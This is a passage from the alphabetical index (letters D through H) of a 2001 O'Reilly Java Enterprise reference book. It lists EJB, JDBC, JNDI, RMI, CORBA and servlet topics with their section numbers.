IDL modules: 10.9. Module Declarations
declarative language (SQL): 8. SQL Reference
default: flag: 38.2.3.1. Member availability and flags
DefinitionKind class: 30. The org.omg.CORBA Package
def_kind() (IRObject): 30. The org.omg.CORBA Package
Delegate class: 33. The org.omg.CORBA.portable Package
delegates (CORBA remote object stubs): 4.2.2.2. The helper class
DELETE (HTTP request): 5.2.3. POST, HEAD, and Other Requests
deleteRow() (ResultSet): 2.13.1. Results Handling
deleting rows (ResultSet): 2.13.1. Results Handling
delivery address (messages): 21. The javax.jms Package
DeliveryMode interface: 21. The javax.jms Package
deployment descriptors
access control: 7.7.2. Access-Control Deployment Attributes
bean management, specifying: 7.2.3. The EJB Container
bean services, controlling: 7. Enterprise JavaBeans
container functions, roles in: 7.2.2. The Enterprise JavaBeans Object
container-managed entity bean: 7.6.7. Container-Managed Persistence
7.6.7. Container-Managed Persistence
containers, generating: 7.7.3. Generating the Container Classes and Deployment Descriptor
enterprise beans: 7.7. Deploying an Enterprise JavaBeans Object
format standard, lacking: 7.7. Deploying an Enterprise JavaBeans Object
JAR files: 7.7.4. Packaging Enterprise JavaBeans
required information, listed: 7.7. Deploying an Enterprise JavaBeans Object
XML-based: 7.9.1. XML-Based Deployment Descriptors
DeploymentDescriptor class: 7.7. Deploying an Enterprise JavaBeans Object
20. The javax.ejb.deployment Package
deserialization (see activation)
7.4.3. The Bean Implementation
HomeHandle: 7.9.3. Home Handles
Properties object: 7.6.7.1. Handling complex data structures
deserialization (java.io package): 1.3.2. RMI: Remote Method Invocation
Destination interface: 21. The javax.jms Package
destroy(): 5.1. The Servlet Life Cycle
ATMServlet example: 5.5. Thread Safety
GenericServlet class: 25. The javax.servlet Package
Servlet interface: 25. The javax.servlet Package
servlets, persistence: 5.4. Custom Servlet Initialization
destroying cookies: 5.7. Cookies
destroySubcontext() (Context): 6.7. Creating and Destroying Contexts
22. The javax.naming Package
DGC interface: 15. The java.rmi.dgc Package
digest authentication (web servers): 5.2.7. Security
Digest style authentication: 5.2.5. Servlet Requests
DII (see Dynamic Invocation Interface (DII) API)
DirContext interface: 6.1. JNDI Architecture
6.9.2. The DirContext Interface
23. The javax.naming.directory Package
Directory Access Protocol (DAP): 6.9.1. X.500 Directories
directory entries: 6.9. Accessing Directory Services
attributes: 23. The javax.naming.directory Package
modifying values: 6.10. Modifying Directory Entries
names (IDs), enumerating: 6.9.3. The Attributes Interface
creating: 6.11. Creating Directory Entries
directory schema, controlling: 6.11. Creating Directory Entries
LDAP servers (public), prohibiting new: 6.11. Creating Directory Entries
directory schema: 6.9.1. X.500 Directories
accesing: 23. The javax.naming.directory Package
attributes
type definition: 6.9.3. The Attributes Interface
values, specifying: 6.9.4. The Attribute Interface
entries, determining: 6.11. Creating Directory Entries
JNDI, supporting different: 6.9.1. X.500 Directories
modifying: 6.10. Modifying Directory Entries
directory servers
JNDI and: 1.3.4. JNDI: Accessing Naming and Directory Services
LDAP servers, accessing online: 6.9.3. The Attributes Interface
directory services
accessing (JNDI): 6.9. Accessing Directory Services
attributes: 6.9.4. The Attribute Interface
Context methods, supporting: 6.4. Looking Up Objects in a Context
entries, key values: 6.9.2. The DirContext Interface
JNDI SPI and: 6.1. JNDI Architecture
JNDI supporting (Java programs): 6. JNDI
naming services vs.: 6. JNDI
6.9. Accessing Directory Services
object class definitions, determining: 6.9.2. The DirContext Interface
objects, looking up: 6.4. Looking Up Objects in a Context
schemas, JNDI supporting: 6.9.1. X.500 Directories
searching: 6.12. Searching a Directory
standard (X.500): 6.9. Accessing Directory Services
directory structure (CORBA naming service): 4.1.3. The Naming Service
DirectoryManager class: 24. The javax.naming.spi Package
dirty reads (transactions): 2.10. Transactions
7.3.2. Transaction Isolation Levels
discriminators (IDL unions): 10.7.6. Unions
discriminators (idltojava compiler bugs): 12. Java IDL Tools
dispatch() (Skeleton): 17. The java.rmi.server Package
distributed applications
with Java and non-Java components: 3.1. Introduction to RMI
remote interfaces, defining: 3.2. Defining Remote Objects
distributed component model: 7. Enterprise JavaBeans
distributed computing: 1.1. Enterprise Computing Defined
architecture (hypothetical enterprise): 1.4. Enterprise Computing Scenarios
complexity: 1.2. Enterprise Computing Demystified
Java Enterprise APIs, supporting: 1.3. The Java Enterprise APIs
RMI as high-level, generic approach: 1.3.2. RMI: Remote Method Invocation
distributed garbage collection (see DGC interface)
distributed object systems, clients and servers, distinguishing: 3.1.2. RMI Architecture
distributed objects: 7. Enterprise JavaBeans
CORBA standard services: 4. Java IDL
EJB vs. regular: 7. Enterprise JavaBeans
RMI, interacting with: 3.1. Introduction to RMI
distributed transactions, two-phase commit protocol: 1.3.8. JTA: Managing Distributed Transactions
distributed transactions, supporting (JDBC standard extension): 2.13.5. The JDBC Standard Extension
DNS (Domain Name Systems): 6. JNDI
doDelete() (HttpServlet): 26. The javax.servlet.http Package
doGet() (HttpServlet): 5.2.1. HTTP Servlets
5.5. Thread Safety
26. The javax.servlet.http Package
Domain Name Systems (DNS): 6. JNDI
domain, specifying (cookies): 5.7. Cookies
DomainManager interface: 30. The org.omg.CORBA Package
done() (RemoteRef): 17. The java.rmi.server Package
doPost() (HttpServlet): 5.2.1. HTTP Servlets
5.5. Thread Safety
26. The javax.servlet.http Package
explicit client actions, recording: 5.2.3. POST, HEAD, and Other Requests
doPut() (HttpServlet): 5.2.1. HTTP Servlets
DoubleHolder class: 30. The org.omg.CORBA Package
Driver interface: 18. The java.sql Package
DriverManager class: 18. The java.sql Package
DriverManager.registerDriver(), Driver interface: 18. The java.sql Package
DriverPropertyInfo class: 18. The java.sql Package
Drivers, JDBC architecture, relying upon: 1.3.1. JDBC: Working with Databases
DSI (see Dynamic Skeleton Interface (DSI) API)
duplicate records, finding: 7.8.2. Creating/Finding Beans
DuplicateKeyException class: 19. The javax.ejb Package
dynamic class loading (RMI): 3.5. Dynamically Loaded Classes
Dynamic Invocation Interface (DII) API: 4.1. The CORBA Architecture
4.5. What If I Don't Know the Interface?
4.5.1. Dynamic Invocation Interface
asynchronous method invocation: 11.3. Event Service
Dynamic Method Interface (CORBA): 4.4. Finding Remote Objects
Dynamic Skeleton Interface (DSI) API: 4.1. The CORBA Architecture
4.5. What If I Don't Know the Interface?
DynamicImplementation class: 30. The org.omg.CORBA Package
DynAny interface: 30. The org.omg.CORBA Package
DynArray interface: 30. The org.omg.CORBA Package
DynEnum interface: 30. The org.omg.CORBA Package
DynFixed interface: 30. The org.omg.CORBA Package
DynSequence interface: 30. The org.omg.CORBA Package
DynStruct interface: 30. The org.omg.CORBA Package
DynUnion interface: 30. The org.omg.CORBA Package
DynValue interface: 30. The org.omg.CORBA Package

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: E

e-commerce enterprise (example): 1.4.1. Enabling E-Commerce for a Mail-Order Enterprise
EJB: 7. Enterprise JavaBeans
bean types: 7.2.2. The Enterprise JavaBeans Object
clients: 7.2.1. The EJB Client
components, naming systems and: 6. JNDI
containers: 7.2.3. The EJB Container
EJB object: 7.2.2. The Enterprise JavaBeans Object
JavaBeans and: 7. Enterprise JavaBeans
javax.ejb package: 7. Enterprise JavaBeans
JDBC, facilitating use: 2.13.5. The JDBC Standard Extension
objects
business methods, implementing: 7.2.2. The Enterprise JavaBeans Object
components: 7.4. Implementing a Basic EJB Object
implementing basic: 7.4. Implementing a Basic EJB Object
JDBC connections, providing (EJB server): 7.3.1. Making the EJB Server Aware of Database Transactions
transaction boundaries, defining: 7.3. Transaction Management
transactions, declaring new: 7.3. Transaction Management
transactions, managing: 7.3. Transaction Management
objects, component nature of: 7. Enterprise JavaBeans
objects, RMI vs.: 7.2.2. The Enterprise JavaBeans Object
packaging into JAR files: 7.7.4. Packaging Enterprise JavaBeans
RMI and: 7. Enterprise JavaBeans
roles: 7.2. EJB Roles
servers, transactions, making aware of: 7.3.1. Making the EJB Server Aware of Database Transactions
servers, enabled for: 7. Enterprise JavaBeans
standards, evolving: 7.1. A Note on Evolving Standards
transactions
JTA, supporting: 7.3. Transaction Management
management: 7.3. Transaction Management
version 1.1, changes: 7.9. Changes in EJB 1.1 Specification
EJB (Enterprise JavaBeans)
containers: 1.3.5. Enterprise JavaBeans
server-side enterprise programs and: 1.3.5. Enterprise JavaBeans
ejbActivate()
EntityBean interface: 7.4.3. The Bean Implementation
19. The javax.ejb Package
SessionBean interface: 7.4.3. The Bean Implementation
7.5. Implementing Session Beans
19. The javax.ejb Package
EJBContext interface: 19. The javax.ejb Package
client transaction context, including: 7.3. Transaction Management
environment properties, specifying (deployment): 7.7. Deploying an Enterprise JavaBeans Object
session beans: 7.5. Implementing Session Beans
transactions, obtaining from container (beans): 7.3. Transaction Management
ejbCreate(): 7.4.3. The Bean Implementation
7.4.3. The Bean Implementation
7.6.3. Entity Bean Implementation
7.6.3. Entity Bean Implementation
EJB specification 1.1, changes: 7.9.5. Assorted Other Changes
EJBException class: 19. The javax.ejb Package
ejbFindByPrimaryKey(): 7.6.3. Entity Bean Implementation
EJBHome interface: 7.4.1. Home Interface
7.9.3. Home Handles
19. The javax.ejb Package
EJBHome server: 7.1. A Note on Evolving Standards
ejbLoad(): 7.6.3. Entity Bean Implementation
entity beans, container-managed persistence: 7.6.7. Container-Managed Persistence
EntityBean interface: 19. The javax.ejb Package
Properties object, deserializing: 7.6.7.1. Handling complex data structures
EJBMetaData interface: 19. The javax.ejb Package
EJBObject interface: 19. The javax.ejb Package
remote interface: 7.4.2. Remote Interface
remote interface, direct implementation: 7.4.3. The Bean Implementation
ejbPassivate()
EntityBean interface: 7.4.3. The Bean Implementation
19. The javax.ejb Package
SessionBean interface: 7.4.3. The Bean Implementation
7.5. Implementing Session Beans
19. The javax.ejb Package
ejbPostCreate(): 7.6.3. Entity Bean Implementation
ejbRemove(): 7.4.3. The Bean Implementation
7.6.3. Entity Bean Implementation
EntityBean interface: 19. The javax.ejb Package
SessionBean interface: 7.5. Implementing Session Beans
19. The javax.ejb Package
ejbStore(): 7.6.3. Entity Bean Implementation
entity beans, container-managed persistence: 7.6.7. Container-Managed Persistence
EntityBean interface: 19. The javax.ejb Package
Properties object, serializing: 7.6.7.1. Handling complex data structures
electronic commerce (see e-commerce)
empty flag: 38.2.3.1. Member availability and flags
encodeRedirectURL() (HttpServletResponse): 5.8. Session Tracking
encodeURL() (HttpServletResponse): 5.8. Session Tracking
end() (XAResource): 29. The javax.transaction.xa Package
enterprise beans
deployment: 7.7. Deploying an Enterprise JavaBeans Object
JDBC connections, acquiring: 7.3.1. Making the EJB Server Aware of Database Transactions
methods, required implementation: 7.4.3. The Bean Implementation
packaging into EJB-JAR files: 7.7. Deploying an Enterprise JavaBeans Object
as RMI objects: 1.4.2. Updating CornCo with Enterprise JavaBeans
RMI remote objects vs.: 1.3.5. Enterprise JavaBeans
structural information, separating from application-specific: 7.9.1. XML-Based Deployment Descriptors
using as client: 7.8. Using an Enterprise JavaBeans Object
enterprise computing: 1.1. Enterprise Computing Defined
1.2. Enterprise Computing Demystified
Enterprise JavaBeans (see EJB)
7. Enterprise JavaBeans
EnterpriseBean interface: 7.4.3. The Bean Implementation
7.5. Implementing Session Beans
19. The javax.ejb Package
entity beans: 7.2.2. The Enterprise JavaBeans Object
activating: 7.6.5. Life Cycle of an Entity Bean
bean-managed persistence, methods, required (EJB): 7.6.3.1. A persistent ProfileBean
container-managed persistence
complex data structures, mapping: 7.6.7.1. Handling complex data structures
create and remove methods: 7.6.7. Container-Managed Persistence
database mapping: 7.7.1. Container-Managed Data Mapping
loading and storing methods: 7.6.7. Container-Managed Persistence
portability (EJB servers), problems with: 7.6.7. Container-Managed Persistence
primary key type (EJB 1.1): 7.9.5. Assorted Other Changes
context: 7.6.4. The Entity Context
create methods: 7.4.3. The Bean Implementation
creating and finding: 7.8.2. Creating/Finding Beans
find methods, executing: 7.6.2. Finder Methods
finder methods, bean-managed persistence: 7.6.3.1. A persistent ProfileBean
handles: 7.6.6. Handles on Entity Beans
implementation: 7.6. Implementing Entity Beans
7.6.3. Entity Bean Implementation
implementing: 7.6. Implementing Entity Beans
Java classes/interfaces required: 7.4. Implementing a Basic EJB Object
life cycle: 7.6.5. Life Cycle of an Entity Bean
names, preventing client change: 7.6.3.1. A persistent ProfileBean
persistence: 7.6.3.1. A persistent ProfileBean
bean-managed: 7.6.3.1. A persistent ProfileBean
primary keys
class (example): 7.6.1. Primary Keys
container-managed persistence: 7.6.7. Container-Managed Persistence
EJB 1.1 specification, changes: 7.9.5. Assorted Other Changes
session beans vs.: 7.2.2. The Enterprise JavaBeans Object
support required (EJB 1.1): 7.9.2. Entity Beans Required
EntityBean interface: 19. The javax.ejb Package
EntityDescriptor class: 7.7. Deploying an Enterprise JavaBeans Object
7.7.3. Generating the Container Classes and Deployment Descriptor
7.7.4. Packaging Enterprise JavaBeans
20. The javax.ejb.deployment Package
enumerations
attributes names (directory entry): 6.9.3. The Attributes Interface
binding objects: 6.6.3. Listing the Bindings of a Context
finder methods: 7.6.2. Finder Methods
IDL: 10.7.5. Enumerations
naming: 22. The javax.naming Package
naming operations: 6.6. Listing the Children of a Context
environment
IDL client: 10.10.2.3. Context values
idltojava compiler: 12. Java IDL Tools
RMI activation daemon: 9. RMI Tools
RMI registry: 9. RMI Tools
rmic compiler: 9. RMI Tools
serialver utility (RMI): 9. RMI Tools
Environment class: 30. The org.omg.CORBA Package
equals()
ObjID class: 17. The java.rmi.server Package
RemoteObject class: 3.2.1. Key RMI Classes for Remote Object Implementations
17. The java.rmi.server Package
RemoteRef interface: 17. The java.rmi.server Package
errors: 5.2.6. Error Handling
(see also exceptions)
beans, creating: 19. The javax.ejb Package
binding remote objects to names: 3.4.1. The Registry and Naming Services
I/O: 13. The java.rmi Package
JDBC, handling: 2.7. Handling Errors
log, output stream to: 17. The java.rmi.server Package
marshaling exception: 3.1.2. RMI Architecture
messages, specifying custom: 5.2.6.1. Status codes
remote object URLs: 3.4.1. The Registry and Naming Services
remote sessions: 3.2. Defining Remote Objects
servlets, handling: 5.2.6. Error Handling
SQL return codes: 8.6. Return Codes
escape sequences: 2.12. Escape Sequences
components (JDBC): 2.12. Escape Sequences
dates (example): 2.6.3. Dates and Times
dates (ISO): 2.6.3. Dates and Times
nonprintable characters (IDL): 10.5.4. Character Literals
stored procedures, accessing (JDBC): 2.11. Stored Procedures
escape syntax
JDBC Date: 18. The java.sql Package
JDBC Time: 18. The java.sql Package
event notification (JMS): 1.3.7. JMS: Enterprise Messaging
Event objects (JMS vs.): 1.3.7. JMS: Enterprise Messaging
Event Service (CORBA): 11.3. Event Service
11.11. Licensing Service
exception() (Environment): 30. The org.omg.CORBA Package
ExceptionList class: 30. The org.omg.CORBA Package
ExceptionListener interface: 21. The javax.jms Package
exceptions: 5.2.6. Error Handling
(see also errors)
access control identities: 7.7.2. Access-Control Deployment Attributes
attributes, invalid: 6.11. Creating Directory Entries
bounds, data (IDL): 10.4.1.1. Mapping strings and characters to Java
commands (JNDI NamingShell): 6.5.1. The Command Interface
context, destroying: 6.7. Creating and Destroying Contexts
CORBA, mapping to Java: 10.8.2. Mapping Exceptions to Java
CORBA, standard: 10.8.1. Standard Exceptions
helper classes (IDL mapping to Java): 10.10.4.1. Helper and holder classes
home interface: 7.4.1. Home Interface
IDL: 10. IDL Reference
10.8. Exceptions
IDL interface, early binding: 10.10.3.3. IDL early binding
IDL interface methods: 4.2.1.3. Data members and methods
IDL interfaces (inheritance): 10.10.3.2. Constant, type, and exception inheritance
IDL methods: 10.10.2.2. Exceptions
name, object not found at specified: 4.4.2.1. Using a naming context
naming (JNDI): 6.2. A JNDI Example
object references, narrowing (CORBA): 4.4. Finding Remote Objects
objects, binding to NamingContext: 4.3.3. Adding Objects to a Naming Context
primary keys, finding: 7.6.2. Finder Methods
root cause, specifying (Servlet API Version 2.1): 5.10. The Servlet API 2.1
sequences (IDL), size bounds: 10.7.3.1. Mapping sequences to Java
servlets: 5.2.6.2. Servlet exceptions
SQL return codes: 8.6. Return Codes
unions (IDL), mapping to Java: 10.7.6.1. Mapping unions to Java
execute()
Command interface: 6.5.1. The Command Interface
Statement interface: 2.5. Statements
executeBatch(), Statement interface: 2.13.2. Batch Updates
executeQuery()
PreparedStatement interface: 18. The java.sql Package
Statement interface: 18. The java.sql Package
executeUpdate()
PreparedStatement interface: 18. The java.sql Package
ResultSet interface: 18. The java.sql Package
Statement interface: 18. The java.sql Package
expert flag: 38.2.3.1. Member availability and flags
ExportException class: 17. The java.rmi.server Package
exportObject()
Activatable class: 3.6.2.1. The Activatable class
3.6.2.2. Implementing an activatable object
14. The java.rmi.activation Package
ServerRef interface: 17. The java.rmi.server Package
exportOjbect(), Activatable class: 3.6.2. Defining an Activatable Remote Object
extended attributes: 6.11. Creating Directory Entries
Externalization Service (CORBA): 11.7. Externalization Service

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: F

factory classes: 3.4.3. Factory Classes
custom, client and server socket: 3.6.2.1. The Activatable class
defining, example: 3.4.3. Factory Classes
filesystems: 6.3.1. Using the InitialContext Class
initial context: 7.8.1. Finding Home Interfaces Through JNDI
InitialContext, creating: 22. The javax.naming Package
JNDI providers (common), listed: 6.3.2. Other Naming Systems
JNDI service provider: 6.3.1. Using the InitialContext Class
JNDI services: 6.2. A JNDI Example
factory objects: 4.4.2. Getting Objects from Other Remote Objects
failure() (RMIFailureHandler): 17. The java.rmi.server Package
fields (message headers), listed: 21. The javax.jms Package
file-serving servlets: 5.2.6.3. A file serving servlet
file servlet (Java Web Server), status codes and: 5.2.4. Servlet Responses
files
creating: 6.8. Binding Objects
HTML, servlets returning: 5.2.6.3. A file serving servlet
IDL, converting to Java (options): 12. Java IDL Tools
.shtml extension: 5.6. Server-Side Includes
filesystems
factory class: 6.3.1. Using the InitialContext Class
factory class (Sun service provider): 6.2. A JNDI Example
providers, directory services and: 6.9. Accessing Directory Services
filtering servlet 5.3. Servlet Chaining
5.2. Servlet Basics
filters
directory searches: 6.12.1. Search Criteria
search syntax: 6.12.4. A Search Command
findByPrimaryKey(): 7.6.7. Container-Managed Persistence
findByPrimaryKey() (EJBHome): 7.6.2. Finder Methods
finder methods
EJB 1.1 specification, changes: 7.9.5. Assorted Other Changes
EJB server providers, differences: 7.6.7. Container-Managed Persistence
entity beans
bean implementation: 7.6.2. Finder Methods
bean-managed persistence: 7.6.3.1. A persistent ProfileBean
container-managed persistence: 7.6.7. Container-Managed Persistence
home interface: 7.4.1. Home Interface
7.6.2. Finder Methods
7.6.5. Life Cycle of an Entity Bean
FinderException class: 7.6.2. Finder Methods
19. The javax.ejb Package
first(), ResultSet interface: 18. The java.sql Package
first() (ResultSet): 2.13.1. Results Handling
fixed-point literals (IDL): 10.5.3.3. Fixed-point literals
FixedHolder class: 30. The org.omg.CORBA Package
flags, turning on and off (idltojavacompiler): 12. Java IDL Tools
FloatHolder class: 30. The org.omg.CORBA Package
floating-point literals (IDL): 10.5.3.2. Floating-point literals
forName(): 2.3. JDBC Drivers
forward-only result sets: 2.13.1. Results Handling
forward() (RequestDispatcher): 5.10.1. Request Dispatching
25. The javax.servlet Package
FREE_MEM class: 30. The org.omg.CORBA Package
freeware database connection-pooling system: 5.9. Databases and Non-HTML Content
functions
scalar (databases): 2.12. Escape Sequences
SQL: 8.5. Functions
string manipulation functions: 8.5.2.2. String manipulation functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: G

garbage collection: 7.4.3. The Bean Implementation
RMI: 3.1. Introduction to RMI
3.1.3.3. Distributed garbage collection
15. The java.rmi.dgc Package
GenericServlet class: 5.2. Servlet Basics
5.10. The Servlet API 2.1
25. The javax.servlet Package
filtering servlet, implementing: 5.2. Servlet Basics
get()
Attribute interface: 23. The javax.naming.directory Package
MarshalledObject class: 13. The java.rmi Package
get() (Attributes): 6.9.3. The Attributes Interface
GET request (HTML forms): 5.2.2. Forms and Interaction
getAll()
Attribute interface: 6.9.4. The Attribute Interface
23. The javax.naming.directory Package
Attributes class: 23. The javax.naming.directory Package
Attributes interfce: 6.9.3. The Attributes Interface
getAll() (Attributes): 6.9.3. The Attributes Interface
getArray() (Array): 18. The java.sql Package
getAsciiStream(), Clob interface: 18. The java.sql Package
getAttribute()
ServletContext interface: 5.10.2. Shared Attributes
25. The javax.servlet Package
ServletRequest interface: 25. The javax.servlet Package
getAttributeDefinition() (Attribute): 23. The javax.naming.directory Package
getAttributeNames()
ServletContext interface: 5.10.2. Shared Attributes
ServletRequest interface: 5.10.1. Request Dispatching
getAttributes(), Struct interface: 18. The java.sql Package
getAttributes() (DirContext): 6.9.3. The Attributes Interface
getAttributeSyntaxDefinition() (Attribute): 23. The javax.naming.directory Package
getAuthType() (HttpServletRequest): 5.2.7. Security
getAutoCommit() (Connection): 18. The java.sql Package
getBaseType() (Ref): 18. The java.sql Package
getBinaryStream(), ResultSet interface: 2.6.2. Large Data Types
getBinaryStream() (Blob): 2.13.4. BLOBs and CLOBs
getBytes (Blob)(): 18. The java.sql Package
getCallerIdentity() (EJBContext): 7.5. Implementing Session Beans
19. The javax.ejb Package
getCharacterEncoding() (ServletRequest): 25. The javax.servlet Package
getCharacterStream() (Clob): 2.13.4. BLOBs and CLOBs
getClassName(), (NameClassPair): 6.6. Listing the Children of a Context
getClientHost()
RemoteServer class: 17. The java.rmi.server Package
ServerRef interface: 17. The java.rmi.server Package
getColumnCount() (ResultSetMetaData): 2.9.2. ResultSetMetaData
getColumnLabel() (ResultSetMetaData): 18. The java.sql Package
getColumns() (ResultSetMetaData): 2.9.1. DatabaseMetaData
getColumnTypeName() (ResultSetMetaData): 18. The java.sql Package
getConnection()
Connection interface: 18. The java.sql Package
DriverManager interface: 18. The java.sql Package
getContentLength() (ServletRequest): 25. The javax.servlet Package
getContentType() (ServletRequest): 25. The javax.servlet Package
getCookies () (HTTPServletRequest): 5.7. Cookies
getCookies() (HttpServletRequest): 26. The javax.servlet.http Package
getDateHeader() (HttpServletRequest): 26. The javax.servlet.http Package
get_default_context() (ORB): 30. The org.omg.CORBA Package
getDefaultStream() (LogStream): 17. The java.rmi.server Package
getDefaultTransactionIsolation() (DatabaseMetaData): 2.10. Transactions
_get_domain_managers() (Object): 30. The org.omg.CORBA Package
30. The org.omg.CORBA Package
getDriverProperties() (DriverPropertyInfo): 18. The java.sql Package
getEJBHome() (EJBContext): 7.5. Implementing Session Beans
19. The javax.ejb Package
getEJBMetaData() (EJBHome): 19. The javax.ejb Package
getEJBObject() (Handle): 19. The javax.ejb Package
get_elements() (DynArray): 30. The org.omg.CORBA Package
getEnvironment() (EJBContext): 7.5. Implementing Session Beans
19. The javax.ejb Package
getErrorCode() (SQLException): 2.7. Handling Errors
getFailureHandler() (RMISocketFactory): 17. The java.rmi.server Package
getFloat() (CallableStatement): 2.11. Stored Procedures
getHandle() (EJBObject): 7.6.6. Handles on Entity Beans
19. The javax.ejb Package
getHeader() (HttpServletRequest): 5.2.5. Servlet Requests
26. The javax.servlet.http Package
getHeaderNames() (HttpServletRequest): 5.2.5. Servlet Requests
26. The javax.servlet.http Package
getHomeHandle() (EJBHome): 7.9.3. Home Handles
getID()
Activatable class: 14. The java.rmi.activation Package
HttpSession: 5.8. Session Tracking
getIDs() (Attributes): 6.9.3. The Attributes Interface
getInputStream(), Blob interface: 18. The java.sql Package
getIntHeader() (HttpServletRequest): 26. The javax.servlet.http Package
getLastModified() (HttpServlet): 5.2.1. HTTP Servlets
getLog() (RemoteServer): 17. The java.rmi.server Package
getMajorVersion() (ServletContext): 5.10. The Servlet API 2.1
getMapNames() (MapMessage): 21. The javax.jms Package
getMaxConnections() (DatabaseMetaData): 2.9.1. DatabaseMetaData
getMetaData()
Connection interface: 2.9.1. DatabaseMetaData
21. The javax.jms Package
getMethod() (HttpServletRequest): 26. The javax.servlet.http Package
getMinorVersion() (ServletContext): 5.10. The Servlet API 2.1
getMoreResults() (Statement): 2.5.1. Multiple Result Sets
getName()
HttpSessionBindingEvent class: 26. The javax.servlet.http Package
NameClassPair class: 6.6. Listing the Children of a Context
getNanos() (Timestamp): 18. The java.sql Package
getNextException() (SQLException): 2.7. Handling Errors
getObject()
Binding class: 6.6.3. Listing the Bindings of a Context
Handle interface: 7.6.6. Handles on Entity Beans
MapMessage interface: 21. The javax.jms Package
ResultSet interface: 2.13.3. Java-Aware Databases
SearchResult class: 6.12.3. Search Controls
getOperations() (Skeleton): 17. The java.rmi.server Package
getOutputStream()
RemoteCall interface: 17. The java.rmi.server Package
ServletResponse interface: 5.2.4. Servlet Responses
25. The javax.servlet Package
getParameter()
HttpServletRequest interface: 5.2.2. Forms and Interaction
5.6. Server-Side Includes
ServletRequest interface: 5.2.5. Servlet Requests
getParameterNames() (ServletRequest): 25. The javax.servlet Package
getParameterValues()
HttpServletRequest interface: 5.2.2. Forms and Interaction
getParameterValues() (ServletRequest): 25. The javax.servlet Package
getPathInfo() (HttpServletRequest): 26. The javax.servlet.http Package
getPathTranslated() (HttpServletRequest): 26. The javax.servlet.http Package
getPrivileges() (ResultSetMetaData): 2.9.1. DatabaseMetaData
getProtocol() (ServletRequest): 5.2.5. Servlet Requests
25. The javax.servlet Package
getQueue() (QueueReceiver): 21. The javax.jms Package
getReader()
HttpServletRequest interface: 5.3. Servlet Chaining
ServletRequest interface: 25. The javax.servlet Package
getRegistry() (LocateRegistry): 3.4.1. The Registry and Naming Services
16. The java.rmi.registry Package
getRemoteAddr() (ServletRequest): 25. The javax.servlet Package
getRemoteHost() (ServletRequest): 5.2.5. Servlet Requests
25. The javax.servlet Package
getRemoteUser() (HttpServletRequest): 5.2.7. Security
getRequestDispatcher()
RequestDispatcher class: 25. The javax.servlet Package
ServletContext interface: 5.10.1. Request Dispatching
getRequestURL() (HttpUtils): 26. The javax.servlet.http Package
getResource() (ServletContext): 5.10.3. Resource Abstraction
get_response() (Request): 30. The org.omg.CORBA Package
getResultSet(), Array class: 18. The java.sql Package
getRollbackOnly() (EJBContext): 19. The javax.ejb Package
getRootCause() (ServletException): 5.10. The Servlet API 2.1
getSchema() (DirContext): 23. The javax.naming.directory Package
getSchemaClassDefinition() (DirContext): 23. The javax.naming.directory Package
getScheme() (ServletRequest): 25. The javax.servlet Package
getServerName() (ServletRequest): 5.2.5. Servlet Requests
25. The javax.servlet Package
getServerPort() (ServletRequest): 5.2.5. Servlet Requests
25. The javax.servlet Package
getServlet()
deprecation: 5.10.2. Shared Attributes
ServletContext interface: 25. The javax.servlet Package
getServletConfig() (Servlet): 25. The javax.servlet Package
getServletInfo() (Servlet): 5.2.1. HTTP Servlets
25. The javax.servlet Package
getServletNames()
deprecation: 5.10.2. Shared Attributes
ServletContext interface: 25. The javax.servlet Package
getServletPath() (HttpServletRequest): 26. The javax.servlet.http Package
getServlets() (ServletContext): 25. The javax.servlet Package
getSession()
HttpServletRequest interface: 5.8. Session Tracking
26. The javax.servlet.http Package
HttpSessionBindingEvent class: 26. The javax.servlet.http Package
get/set accessors (stateful session beans): 7.5.1. Stateless Versus Stateful Session Beans
getSocketFactory() (RMISocketFactory): 17. The java.rmi.server Package
getSQLState() (SQLException): 2.7. Handling Errors
getStatus() (Transaction): 28. The javax.transaction Package
getString() (ResultSet): 2.6. Results
getSubString():
2.13.4. BLOBs and CLOBs
Clob interface: 18. The java.sql Package
getSystem() (ActivationGroup): 14. The java.rmi.activation Package
getTableTypes() (ResultSetMetaData): 2.9.1. DatabaseMetaData
getText() (TextMessage): 21. The javax.jms Package
getTime() (Timestamp): 18. The java.sql Package
getTransactionIsolation() (Connection): 18. The java.sql Package
getUnexecutedModifications() (AttributeModificationException): 23. The javax.naming.directory Package
getUnicodeStream() (ResultSet): 2.6.2. Large Data Types
getUpdateCount() (Statement): 2.5.1. Multiple Result Sets
getUpdateCounts() (BatchUpdateException): 18. The java.sql Package
getURL() (DatabaseMetaData): 2.9.1. DatabaseMetaData
getUserTransaction() (EJBContext): 19. The javax.ejb Package
getValueNames() (HttpSession): 26. The javax.servlet.http Package
get_values() (Context): 30. The org.omg.CORBA Package
getWarnings()
CallableStatement interface: 2.7.1. SQL Warnings
Connection interface: 2.7.1. SQL Warnings
PreparedStatement interface: 2.7.1. SQL Warnings
ResultSet interface: 2.7.1. SQL Warnings
Statement interface: 2.7.1. SQL Warnings
getWriter() (ServletResponse): 5.2.4. Servlet Responses
25. The javax.servlet Package
graphs (CORBA objects): 11.5. Life Cycle Service
11.8. Relationship Service
Greenwich Mean Time (GMT): 11.13. Time Service
groups (activation) (see activation groups)
groups (SQL) (see SQL groups)
>org.omg.CosNaming packages: 4.3.2. Registering with a Naming Service

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z
Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: H

Handle interface: 7.6.6. Handles on Entity Beans
19. The javax.ejb Package
hardware (networks), server applications and: 1.2. Enterprise Computing Demystified
hash code
client stub and server implementation, matching: 17. The java.rmi.server Package
username and passwords, authenticating: 5.2.7. Security
hashCode(): 3.2.1. Key RMI Classes for Remote Object Implementations
RemoteObject class: 17. The java.rmi.server Package
Hashtable class: 7.8.1. Finding Home Interfaces Through JNDI
properties (InitialContext): 6.3.1. Using the InitialContext Class
HEAD (HTTP request): 5.2.3. POST, HEAD, and Other Requests
5.2.3. POST, HEAD, and Other Requests
